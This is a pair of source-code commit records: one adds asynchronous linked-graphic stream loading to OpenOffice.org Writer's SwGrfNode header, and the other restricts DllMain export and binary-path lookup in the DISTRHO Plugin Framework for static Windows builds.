{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: ndgrf.hxx,v $\n *\n *  $Revision: 1.19 $\n *\n *  last change: $Author: rt $ $Date: 2007-04-25 08:55:25 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef _NDGRF_HXX\n#define _NDGRF_HXX\n#ifndef _COM_SUN_STAR_IO_XINPUTSTREAM_HPP_\n#include <com\/sun\/star\/io\/XInputStream.hpp>\n#endif\n#ifndef _LNKBASE_HXX \/\/autogen\n#include <sfx2\/lnkbase.hxx>\n#endif\n#ifndef _GRFMGR_HXX \/\/autogen\n#include <goodies\/grfmgr.hxx>\n#endif\n#ifndef _NDNOTXT_HXX\n#include <ndnotxt.hxx>\n#endif\n\/\/ --> OD, MAV 2005-08-17 #i53025#\n#ifndef _COM_SUN_STAR_EMBED_XSTORAGE_HPP_\n#include <com\/sun\/star\/embed\/XStorage.hpp>\n#endif\n\/\/ <--\n\nclass SwGrfFmtColl;\nclass SwDoc;\nclass GraphicAttr;\nclass SvStorage;\n\n\/\/ --------------------\n\/\/ SwGrfNode\n\/\/ --------------------\nclass SwGrfNode: public SwNoTxtNode\n{\n    friend long GrfNodeChanged( void*, void* );\n    friend class SwNodes;\n    friend class SwGrfFrm;\n\n    GraphicObject aGrfObj;\n    ::sfx2::SvBaseLinkRef refLink;       \/\/ falls Grafik nur als Link, dann Pointer gesetzt\n    Size nGrfSize;\n\/\/  String aStrmName;           \/\/ SW3: Name des Storage-Streams fuer Embedded\n    String aNewStrmName;        \/\/ SW3\/XML: new stream name (either SW3 stream\n                                \/\/ name or package url)\n    String aLowResGrf;          \/\/ HTML: LowRes Grafik (Ersatzdarstellung bis\n                                \/\/      die normale (HighRes) geladen ist.\n    BOOL bTransparentFlagValid  :1;\n    BOOL bInSwapIn              :1;\n\n    BOOL bGrafikArrived         :1;\n    BOOL bChgTwipSize           :1;\n    BOOL bChgTwipSizeFromPixel  :1;\n    BOOL bLoadLowResGrf         :1;\n    BOOL bFrameInPaint          :1; \/\/Um Start-\/EndActions im Paint (ueber\n                                    \/\/SwapIn zu verhindern.\n    BOOL bScaleImageMap         :1; \/\/Image-Map in SetTwipSize skalieren\n\n    SwGrfNode( const SwNodeIndex& rWhere,\n               const String& rGrfName, const String& rFltName,\n               const Graphic* pGraphic,\n               SwGrfFmtColl* pGrfColl,\n               SwAttrSet* pAutoAttr = 0 );\n    \/\/ Ctor fuer Einlesen (SW\/G) ohne Grafik\n    SwGrfNode( const SwNodeIndex& rWhere,\n               const String& rGrfName, const String& rFltName,\n               SwGrfFmtColl* pGrfColl,\n               SwAttrSet* pAutoAttr = 0 );\n    SwGrfNode( const SwNodeIndex& rWhere,\n               const GraphicObject& rGrfObj,\n               SwGrfFmtColl* pGrfColl,\n               SwAttrSet* pAutoAttr = 0 );\n\n    void InsertLink( const String& rGrfName, const String& rFltName );\n    BOOL ImportGraphic( SvStream& rStrm );\n    BOOL HasStreamName() const { return aGrfObj.HasUserData(); }\n    \/\/ --> OD 2005-05-04 #i48434# - adjust return type and rename method to\n    \/\/ indicate that its an private one.\n    \/\/ --> OD 2005-08-17 #i53025#\n    \/\/ embedded graphic stream couldn't be inside a 3.1 - 5.2 storage any more.\n    \/\/ Thus, return value isn't needed any more.\n    void _GetStreamStorageNames( String& rStrmName, String& rStgName ) const;\n    \/\/ <--\n    void DelStreamName();\n    DECL_LINK( SwapGraphic, GraphicObject* );\n\n    \/** helper method to determine stream for the embedded graphic.\n\n        OD 2005-05-04 #i48434#\n        Important note: caller of this method has to handle the thrown exceptions\n        OD, MAV 2005-08-17 #i53025#\n        Storage, which should contain the stream of the embedded graphic, is\n        provided via parameter. Otherwise the returned stream will be closed\n        after the the method returns, because its parent stream is closed and deleted.\n        Proposed name of embedded graphic stream is also provided by parameter.\n\n        @author OD\n\n        @param _refPics\n        input parameter - reference to storage, which should contain the\n        embedded graphic stream.\n\n        @param _aStrmName\n        input parameter - proposed name of the embedded graphic stream.\n\n        @return SvStream*\n        new created stream of the embedded graphic, which has to be destroyed\n        after its usage. Could be NULL, if the stream isn't found.\n    *\/\n    SvStream* _GetStreamForEmbedGrf(\n            const ::com::sun::star::uno::Reference< ::com::sun::star::embed::XStorage >& _refPics,\n            String& _aStrmName ) const;\n\n    \/** helper method to get a substorage of the document storage for readonly access.\n\n        OD, MAV 2005-08-17 #i53025#\n        A substorage with the specified name will be opened readonly. If the provided\n        name is empty the root storage will be returned.\n\n        @param _aStgName\n        input parameter - name of substorage. Can be empty.\n\n        @return XStorage\n        reference to substorage or the root storage\n    *\/\n    ::com::sun::star::uno::Reference< ::com::sun::star::embed::XStorage > _GetDocSubstorageOrRoot(\n                                                const String& aStgName ) const;\n\npublic:\n    virtual ~SwGrfNode();\n    const Graphic&          GetGrf() const      { return aGrfObj.GetGraphic(); }\n    const GraphicObject&    GetGrfObj() const   { return aGrfObj; }\n          GraphicObject&    GetGrfObj()         { return aGrfObj; }\n\n    virtual SwCntntNode *SplitNode( const SwPosition & );\n\n    virtual Size GetTwipSize() const;\n#ifndef _FESHVIEW_ONLY_INLINE_NEEDED\n    void SetTwipSize( const Size& rSz );\n\n    BOOL IsTransparent() const;\n\n    inline BOOL IsAnimated() const              { return aGrfObj.IsAnimated(); }\n\n    inline BOOL IsChgTwipSize() const           { return bChgTwipSize; }\n    inline BOOL IsChgTwipSizeFromPixel() const  { return bChgTwipSizeFromPixel; }\n    inline void SetChgTwipSize( BOOL b, BOOL bFromPx=FALSE )        { bChgTwipSize = b; bChgTwipSizeFromPixel = bFromPx; }\n\n    inline BOOL IsGrafikArrived() const         { return bGrafikArrived; }\n    inline void SetGrafikArrived( BOOL b )      { bGrafikArrived = b; }\n\n    inline BOOL IsFrameInPaint() const          { return bFrameInPaint; }\n    inline void SetFrameInPaint( BOOL b )       { bFrameInPaint = b; }\n\n    inline BOOL IsScaleImageMap() const         { return bScaleImageMap; }\n    inline void SetScaleImageMap( BOOL b )      { bScaleImageMap = b; }\n#endif\n        \/\/ steht in ndcopy.cxx\n    virtual SwCntntNode* MakeCopy( SwDoc*, const SwNodeIndex& ) const;\n#ifndef _FESHVIEW_ONLY_INLINE_NEEDED\n\n    \/\/ erneutes Einlesen, falls Graphic nicht Ok ist. Die\n    \/\/ aktuelle wird durch die neue ersetzt.\n    BOOL ReRead( const String& rGrfName, const String& rFltName,\n                 const Graphic* pGraphic = 0,\n                 const GraphicObject* pGrfObj = 0,\n                 BOOL bModify = TRUE );\n    \/\/ Laden der Grafik unmittelbar vor der Anzeige\n    short SwapIn( BOOL bWaitForData = FALSE );\n        \/\/ Entfernen der Grafik, um Speicher freizugeben\n    short SwapOut();\n        \/\/ Zugriff auf den Storage-Streamnamen\n    void SetStreamName( const String& r ) { aGrfObj.SetUserData( r ); }\n    void SetNewStreamName( const String& r ) { aNewStrmName = r; }\n    \/\/ is this node selected by any shell?\n    BOOL IsSelected() const;\n#endif\n\n        \/\/ Der Grafik sagen, dass sich der Node im Undobereich befindet\n    virtual BOOL SavePersistentData();\n    virtual BOOL RestorePersistentData();\n\n#ifndef _FESHVIEW_ONLY_INLINE_NEEDED\n        \/\/ Abfrage der Link-Daten\n    BOOL IsGrfLink() const                  { return refLink.Is(); }\n    inline BOOL IsLinkedFile() const;\n    inline BOOL IsLinkedDDE() const;\n    ::sfx2::SvBaseLinkRef GetLink() const    { return refLink; }\n    BOOL GetFileFilterNms( String* pFileNm, String* pFilterNm ) const;\n    void ReleaseLink();\n\n        \/\/ Prioritaet beim Laden der Grafik setzen. Geht nur, wenn der Link\n        \/\/ ein FileObject gesetzt hat\n    void SetTransferPriority( USHORT nPrio );\n\n    \/\/ Skalieren einer Image-Map: Die Image-Map wird um den Faktor\n    \/\/ zwischen Grafik-Groesse und Rahmen-Groesse vergroessert\/verkleinert\n    void ScaleImageMap();\n\n    \/\/ returns the with our graphic attributes filled Graphic-Attr-Structure\n    GraphicAttr& GetGraphicAttr( GraphicAttr&, const SwFrm* pFrm ) const;\n\n#endif\n};\n\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Inline Metoden aus Node.hxx - erst hier ist der TxtNode bekannt !!\ninline       SwGrfNode   *SwNode::GetGrfNode()\n{\n     return ND_GRFNODE == nNodeType ? (SwGrfNode*)this : 0;\n}\ninline const SwGrfNode   *SwNode::GetGrfNode() const\n{\n     return ND_GRFNODE == nNodeType ? (const SwGrfNode*)this : 0;\n}\n\n#ifndef _FESHVIEW_ONLY_INLINE_NEEDED\ninline BOOL SwGrfNode::IsLinkedFile() const\n{\n    return refLink.Is() && OBJECT_CLIENT_GRF == refLink->GetObjType();\n}\ninline BOOL SwGrfNode::IsLinkedDDE() const\n{\n    return refLink.Is() && OBJECT_CLIENT_DDE == refLink->GetObjType();\n}\n#endif\n\n\n#endif\n<commit_msg>INTEGRATION: CWS swqbf91 (1.18.134); FILE MERGED 2007\/06\/08 11:16:57 od 1.18.134.4: RESYNC: (1.18-1.19); FILE MERGED 2007\/03\/30 11:24:17 od 1.18.134.3: #i73788# - redesign of non-blocking load of linked graphics 2007\/03\/15 11:38:40 od 1.18.134.2: #i73788# further adjustments for the implementation 2007\/01\/30 14:57:36 od 1.18.134.1: #i73788# class <SwGrfNode> now inherits also from new class <SwAsyncRetrieveInputStreamThreadOwner><commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: ndgrf.hxx,v $\n *\n *  $Revision: 1.20 $\n *\n *  last change: $Author: obo $ $Date: 2007-07-18 13:29:22 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef _NDGRF_HXX\n#define _NDGRF_HXX\n#ifndef _LNKBASE_HXX \/\/autogen\n#include <sfx2\/lnkbase.hxx>\n#endif\n#ifndef _GRFMGR_HXX \/\/autogen\n#include <goodies\/grfmgr.hxx>\n#endif\n#ifndef _NDNOTXT_HXX\n#include <ndnotxt.hxx>\n#endif\n\/\/ --> OD, MAV 2005-08-17 #i53025#\n#ifndef _COM_SUN_STAR_EMBED_XSTORAGE_HPP_\n#include <com\/sun\/star\/embed\/XStorage.hpp>\n#endif\n\/\/ <--\n\/\/ --> OD 2007-03-28 #i73788#\n#include <boost\/shared_ptr.hpp>\n#include <boost\/weak_ptr.hpp>\nclass SwAsyncRetrieveInputStreamThreadConsumer;\n\/\/ <--\n\nclass SwGrfFmtColl;\nclass SwDoc;\nclass GraphicAttr;\nclass SvStorage;\n\/\/ --------------------\n\/\/ SwGrfNode\n\/\/ --------------------\nclass SwGrfNode: public SwNoTxtNode\n{\n    friend class SwNodes;\n\n    GraphicObject aGrfObj;\n    ::sfx2::SvBaseLinkRef refLink;       \/\/ falls Grafik nur als Link, dann Pointer gesetzt\n    Size nGrfSize;\n\/\/  String aStrmName;           \/\/ SW3: Name des Storage-Streams fuer Embedded\n    String aNewStrmName;        \/\/ SW3\/XML: new stream name (either SW3 stream\n                                \/\/ name or package url)\n    String aLowResGrf;          \/\/ HTML: LowRes Grafik (Ersatzdarstellung bis\n                                \/\/      die normale (HighRes) geladen ist.\n    BOOL bTransparentFlagValid  :1;\n    BOOL bInSwapIn              :1;\n\n    BOOL bGrafikArrived         :1;\n    BOOL bChgTwipSize           :1;\n    BOOL bChgTwipSizeFromPixel  :1;\n    BOOL bLoadLowResGrf         :1;\n    BOOL bFrameInPaint          :1; \/\/Um Start-\/EndActions im Paint (ueber\n                                    \/\/SwapIn zu verhindern.\n    BOOL bScaleImageMap         :1; \/\/Image-Map in SetTwipSize skalieren\n\n    \/\/ --> OD 2007-01-19 #i73788#\n    boost::shared_ptr< SwAsyncRetrieveInputStreamThreadConsumer > mpThreadConsumer;\n    bool mbLinkedInputStreamReady :1;\n    com::sun::star::uno::Reference<com::sun::star::io::XInputStream> mxInputStream;\n    sal_Bool mbIsStreamReadOnly;\n    \/\/ <--\n    SwGrfNode( const SwNodeIndex& rWhere,\n               const String& rGrfName, const String& rFltName,\n               const Graphic* pGraphic,\n               SwGrfFmtColl* pGrfColl,\n               SwAttrSet* pAutoAttr = 0 );\n    \/\/ Ctor fuer Einlesen (SW\/G) ohne Grafik\n    SwGrfNode( const SwNodeIndex& rWhere,\n               const String& rGrfName, const String& rFltName,\n               SwGrfFmtColl* pGrfColl,\n               SwAttrSet* pAutoAttr = 0 );\n    SwGrfNode( const SwNodeIndex& rWhere,\n               const GraphicObject& rGrfObj,\n               SwGrfFmtColl* pGrfColl,\n               SwAttrSet* pAutoAttr = 0 );\n\n    void InsertLink( const String& rGrfName, const String& rFltName );\n    BOOL ImportGraphic( SvStream& rStrm );\n    BOOL HasStreamName() const { return aGrfObj.HasUserData(); }\n    \/\/ --> OD 2005-05-04 #i48434# - adjust return type and rename method to\n    \/\/ indicate that its an private one.\n    \/\/ --> OD 2005-08-17 #i53025#\n    \/\/ embedded graphic stream couldn't be inside a 3.1 - 5.2 storage any more.\n    \/\/ Thus, return value isn't needed any more.\n    void _GetStreamStorageNames( String& rStrmName, String& rStgName ) const;\n    \/\/ <--\n    void DelStreamName();\n    DECL_LINK( SwapGraphic, GraphicObject* );\n\n    \/** helper method to determine stream for the embedded graphic.\n\n        OD 2005-05-04 #i48434#\n        Important note: caller of this method has to handle the thrown exceptions\n        OD, MAV 2005-08-17 #i53025#\n        Storage, which should contain the stream of the embedded graphic, is\n        provided via parameter. Otherwise the returned stream will be closed\n        after the the method returns, because its parent stream is closed and deleted.\n        Proposed name of embedded graphic stream is also provided by parameter.\n\n        @author OD\n\n        @param _refPics\n        input parameter - reference to storage, which should contain the\n        embedded graphic stream.\n\n        @param _aStrmName\n        input parameter - proposed name of the embedded graphic stream.\n\n        @return SvStream*\n        new created stream of the embedded graphic, which has to be destroyed\n        after its usage. Could be NULL, if the stream isn't found.\n    *\/\n    SvStream* _GetStreamForEmbedGrf(\n            const ::com::sun::star::uno::Reference< ::com::sun::star::embed::XStorage >& _refPics,\n            String& _aStrmName ) const;\n\n    \/** helper method to get a substorage of the document storage for readonly access.\n\n        OD, MAV 2005-08-17 #i53025#\n        A substorage with the specified name will be opened readonly. If the provided\n        name is empty the root storage will be returned.\n\n        @param _aStgName\n        input parameter - name of substorage. Can be empty.\n\n        @return XStorage\n        reference to substorage or the root storage\n    *\/\n    ::com::sun::star::uno::Reference< ::com::sun::star::embed::XStorage > _GetDocSubstorageOrRoot(\n                                                const String& aStgName ) const;\n\npublic:\n    virtual ~SwGrfNode();\n    const Graphic&          GetGrf() const      { return aGrfObj.GetGraphic(); }\n    const GraphicObject&    GetGrfObj() const   { return aGrfObj; }\n          GraphicObject&    GetGrfObj()         { return aGrfObj; }\n\n    virtual SwCntntNode *SplitNode( const SwPosition & );\n\n    virtual Size GetTwipSize() const;\n#ifndef _FESHVIEW_ONLY_INLINE_NEEDED\n    void SetTwipSize( const Size& rSz );\n\n    BOOL IsTransparent() const;\n\n    inline BOOL IsAnimated() const              { return aGrfObj.IsAnimated(); }\n\n    inline BOOL IsChgTwipSize() const           { return bChgTwipSize; }\n    inline BOOL IsChgTwipSizeFromPixel() const  { return bChgTwipSizeFromPixel; }\n    inline void SetChgTwipSize( BOOL b, BOOL bFromPx=FALSE )        { bChgTwipSize = b; bChgTwipSizeFromPixel = bFromPx; }\n\n    inline BOOL IsGrafikArrived() const         { return bGrafikArrived; }\n    inline void SetGrafikArrived( BOOL b )      { bGrafikArrived = b; }\n\n    inline BOOL IsFrameInPaint() const          { return bFrameInPaint; }\n    inline void SetFrameInPaint( BOOL b )       { bFrameInPaint = b; }\n\n    inline BOOL IsScaleImageMap() const         { return bScaleImageMap; }\n    inline void SetScaleImageMap( BOOL b )      { bScaleImageMap = b; }\n#endif\n        \/\/ steht in ndcopy.cxx\n    virtual SwCntntNode* MakeCopy( SwDoc*, const SwNodeIndex& ) const;\n#ifndef _FESHVIEW_ONLY_INLINE_NEEDED\n\n    \/\/ erneutes Einlesen, falls Graphic nicht Ok ist. Die\n    \/\/ aktuelle wird durch die neue ersetzt.\n    BOOL ReRead( const String& rGrfName, const String& rFltName,\n                 const Graphic* pGraphic = 0,\n                 const GraphicObject* pGrfObj = 0,\n                 BOOL bModify = TRUE );\n    \/\/ Laden der Grafik unmittelbar vor der Anzeige\n    short SwapIn( BOOL bWaitForData = FALSE );\n        \/\/ Entfernen der Grafik, um Speicher freizugeben\n    short SwapOut();\n        \/\/ Zugriff auf den Storage-Streamnamen\n    void SetStreamName( const String& r ) { aGrfObj.SetUserData( r ); }\n    void SetNewStreamName( const String& r ) { aNewStrmName = r; }\n    \/\/ is this node selected by any shell?\n    BOOL IsSelected() const;\n#endif\n\n        \/\/ Der Grafik sagen, dass sich der Node im Undobereich befindet\n    virtual BOOL SavePersistentData();\n    virtual BOOL RestorePersistentData();\n\n#ifndef _FESHVIEW_ONLY_INLINE_NEEDED\n        \/\/ Abfrage der Link-Daten\n    BOOL IsGrfLink() const                  { return refLink.Is(); }\n    inline BOOL IsLinkedFile() const;\n    inline BOOL IsLinkedDDE() const;\n    ::sfx2::SvBaseLinkRef GetLink() const    { return refLink; }\n    BOOL GetFileFilterNms( String* pFileNm, String* pFilterNm ) const;\n    void ReleaseLink();\n\n        \/\/ Prioritaet beim Laden der Grafik setzen. Geht nur, wenn der Link\n        \/\/ ein FileObject gesetzt hat\n    void SetTransferPriority( USHORT nPrio );\n\n    \/\/ Skalieren einer Image-Map: Die Image-Map wird um den Faktor\n    \/\/ zwischen Grafik-Groesse und Rahmen-Groesse vergroessert\/verkleinert\n    void ScaleImageMap();\n\n    \/\/ returns the with our graphic attributes filled Graphic-Attr-Structure\n    GraphicAttr& GetGraphicAttr( GraphicAttr&, const SwFrm* pFrm ) const;\n\n#endif\n    \/\/ --> OD 2007-01-18 #i73788#\n    boost::weak_ptr< SwAsyncRetrieveInputStreamThreadConsumer > GetThreadConsumer();\n    bool IsLinkedInputStreamReady() const;\n    void TriggerAsyncRetrieveInputStream();\n    void ApplyInputStream(\n        com::sun::star::uno::Reference<com::sun::star::io::XInputStream> xInputStream,\n        const sal_Bool bIsStreamReadOnly );\n    void UpdateLinkWithInputStream();\n    \/\/ <--\n};\n\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Inline Metoden aus Node.hxx - erst hier ist der TxtNode bekannt !!\ninline       SwGrfNode   *SwNode::GetGrfNode()\n{\n     return ND_GRFNODE == nNodeType ? (SwGrfNode*)this : 0;\n}\ninline const SwGrfNode   *SwNode::GetGrfNode() const\n{\n     return ND_GRFNODE == nNodeType ? (const SwGrfNode*)this : 0;\n}\n\n#ifndef _FESHVIEW_ONLY_INLINE_NEEDED\ninline BOOL SwGrfNode::IsLinkedFile() const\n{\n    return refLink.Is() && OBJECT_CLIENT_GRF == refLink->GetObjType();\n}\ninline BOOL SwGrfNode::IsLinkedDDE() const\n{\n    return refLink.Is() && OBJECT_CLIENT_DDE == refLink->GetObjType();\n}\n#endif\n\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * DISTRHO Plugin Framework (DPF)\n * Copyright (C) 2012-2021 Filipe Coelho <falktx@falktx.com>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any purpose with\n * or without fee is hereby granted, provided that the above copyright notice and this\n * permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD\n * TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN\n * NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL\n * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER\n * IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN\n * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#ifndef DISTRHO_IS_STANDALONE\n# error Wrong build configuration\n#endif\n\n#include \"..\/extra\/String.hpp\"\n\n#ifdef DISTRHO_OS_WINDOWS\n# include <windows.h>\n#else\n# ifndef STATIC_BUILD\n#  include <dlfcn.h>\n# endif\n# include <limits.h>\n# include <stdlib.h>\n#endif\n\n#if defined(DISTRHO_OS_WINDOWS) && !DISTRHO_IS_STANDALONE\nstatic HINSTANCE hInstance = nullptr;\n\nDISTRHO_PLUGIN_EXPORT\nBOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason, LPVOID)\n{\n    if (reason == DLL_PROCESS_ATTACH)\n        hInstance = hInst;\n    return 1;\n}\n#endif\n\nSTART_NAMESPACE_DISTRHO\n\n\/\/ -----------------------------------------------------------------------\n\nconst char* getBinaryFilename()\n{\n    static String filename;\n\n    if (filename.isNotEmpty())\n        return filename;\n\n#ifdef DISTRHO_OS_WINDOWS\n# if DISTRHO_IS_STANDALONE\n    constexpr const HINSTANCE hInstance = nullptr;\n# endif\n    CHAR filenameBuf[MAX_PATH];\n    filenameBuf[0] = '\\0';\n    GetModuleFileNameA(hInstance, filenameBuf, sizeof(filenameBuf));\n    filename = filenameBuf;\n#elif !defined(STATIC_BUILD)\n    Dl_info info;\n    dladdr((void*)getBinaryFilename, &info);\n    char filenameBuf[PATH_MAX];\n    filename = realpath(info.dli_fname, filenameBuf);\n#endif\n\n    return filename;\n}\n\nconst char* getPluginFormatName() noexcept\n{\n#if defined(DISTRHO_PLUGIN_TARGET_CARLA)\n    return \"Carla\";\n#elif defined(DISTRHO_PLUGIN_TARGET_JACK)\n    return \"JACK\/Standalone\";\n#elif defined(DISTRHO_PLUGIN_TARGET_LADSPA)\n    return \"LADSPA\";\n#elif defined(DISTRHO_PLUGIN_TARGET_DSSI)\n    return \"DSSI\";\n#elif defined(DISTRHO_PLUGIN_TARGET_LV2)\n    return \"LV2\";\n#elif defined(DISTRHO_PLUGIN_TARGET_VST2)\n    return \"VST2\";\n#elif defined(DISTRHO_PLUGIN_TARGET_VST3)\n    return \"VST3\";\n#else\n    return \"Unknown\";\n#endif\n}\n\nconst char* getResourcePath(const char* const bundlePath) noexcept\n{\n    DISTRHO_SAFE_ASSERT_RETURN(bundlePath != nullptr, nullptr);\n\n#if defined(DISTRHO_PLUGIN_TARGET_JACK) || defined(DISTRHO_PLUGIN_TARGET_VST2)\n    static String resourcePath;\n\n    if (resourcePath.isEmpty())\n    {\n        resourcePath = bundlePath;\n# ifdef DISTRHO_OS_MAC\n        resourcePath += \"\/Contents\/Resources\";\n# else\n        resourcePath += DISTRHO_OS_SEP_STR \"resources\";\n# endif\n    }\n\n    return resourcePath.buffer();\n#elif defined(DISTRHO_PLUGIN_TARGET_LV2)\n    static String resourcePath;\n\n    if (resourcePath.isEmpty())\n    {\n        resourcePath = bundlePath;\n        resourcePath += DISTRHO_OS_SEP_STR \"resources\";\n    }\n\n    return resourcePath.buffer();\n#elif defined(DISTRHO_PLUGIN_TARGET_VST3)\n    static String resourcePath;\n\n    if (resourcePath.isEmpty())\n    {\n        resourcePath = bundlePath;\n        resourcePath += \"\/Contents\/Resources\";\n    }\n\n    return resourcePath.buffer();\n#endif\n\n    return nullptr;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nEND_NAMESPACE_DISTRHO\n<commit_msg>Do not export DllMain for static windows builds<commit_after>\/*\n * DISTRHO Plugin Framework (DPF)\n * Copyright (C) 2012-2021 Filipe Coelho <falktx@falktx.com>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any purpose with\n * or without fee is hereby granted, provided that the above copyright notice and this\n * permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD\n * TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN\n * NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL\n * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER\n * IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN\n * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#ifndef DISTRHO_IS_STANDALONE\n# error Wrong build configuration\n#endif\n\n#include \"..\/extra\/String.hpp\"\n\n#ifdef DISTRHO_OS_WINDOWS\n# include <windows.h>\n#else\n# ifndef STATIC_BUILD\n#  include <dlfcn.h>\n# endif\n# include <limits.h>\n# include <stdlib.h>\n#endif\n\n#if defined(DISTRHO_OS_WINDOWS) && !defined(STATIC_BUILD) && !DISTRHO_IS_STANDALONE\nstatic HINSTANCE hInstance = nullptr;\n\nDISTRHO_PLUGIN_EXPORT\nBOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason, LPVOID)\n{\n    if (reason == DLL_PROCESS_ATTACH)\n        hInstance = hInst;\n    return 1;\n}\n#endif\n\nSTART_NAMESPACE_DISTRHO\n\n\/\/ -----------------------------------------------------------------------\n\nconst char* getBinaryFilename()\n{\n    static String filename;\n\n#ifndef STATIC_BUILD\n    if (filename.isNotEmpty())\n        return filename;\n\n# ifdef DISTRHO_OS_WINDOWS\n#  if DISTRHO_IS_STANDALONE\n    constexpr const HINSTANCE hInstance = nullptr;\n#  endif\n    CHAR filenameBuf[MAX_PATH];\n    filenameBuf[0] = '\\0';\n    GetModuleFileNameA(hInstance, filenameBuf, sizeof(filenameBuf));\n    filename = filenameBuf;\n# else\n    Dl_info info;\n    dladdr((void*)getBinaryFilename, &info);\n    char filenameBuf[PATH_MAX];\n    filename = realpath(info.dli_fname, filenameBuf);\n# endif\n#endif\n\n    return filename;\n}\n\nconst char* getPluginFormatName() noexcept\n{\n#if defined(DISTRHO_PLUGIN_TARGET_CARLA)\n    return \"Carla\";\n#elif defined(DISTRHO_PLUGIN_TARGET_JACK)\n    return \"JACK\/Standalone\";\n#elif defined(DISTRHO_PLUGIN_TARGET_LADSPA)\n    return \"LADSPA\";\n#elif defined(DISTRHO_PLUGIN_TARGET_DSSI)\n    return \"DSSI\";\n#elif defined(DISTRHO_PLUGIN_TARGET_LV2)\n    return \"LV2\";\n#elif defined(DISTRHO_PLUGIN_TARGET_VST2)\n    return \"VST2\";\n#elif defined(DISTRHO_PLUGIN_TARGET_VST3)\n    return \"VST3\";\n#else\n    return \"Unknown\";\n#endif\n}\n\nconst char* getResourcePath(const char* const bundlePath) noexcept\n{\n    DISTRHO_SAFE_ASSERT_RETURN(bundlePath != nullptr, nullptr);\n\n#if defined(DISTRHO_PLUGIN_TARGET_JACK) || defined(DISTRHO_PLUGIN_TARGET_VST2)\n    static String resourcePath;\n\n    if (resourcePath.isEmpty())\n    {\n        resourcePath = bundlePath;\n# ifdef DISTRHO_OS_MAC\n        resourcePath += \"\/Contents\/Resources\";\n# else\n        resourcePath += DISTRHO_OS_SEP_STR \"resources\";\n# endif\n    }\n\n    return resourcePath.buffer();\n#elif defined(DISTRHO_PLUGIN_TARGET_LV2)\n    static String resourcePath;\n\n    if (resourcePath.isEmpty())\n    {\n        resourcePath = bundlePath;\n        resourcePath += DISTRHO_OS_SEP_STR \"resources\";\n    }\n\n    return resourcePath.buffer();\n#elif defined(DISTRHO_PLUGIN_TARGET_VST3)\n    static String resourcePath;\n\n    if (resourcePath.isEmpty())\n    {\n        resourcePath = bundlePath;\n        resourcePath += \"\/Contents\/Resources\";\n    }\n\n    return resourcePath.buffer();\n#endif\n\n    return nullptr;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nEND_NAMESPACE_DISTRHO\n<|endoftext|>"}
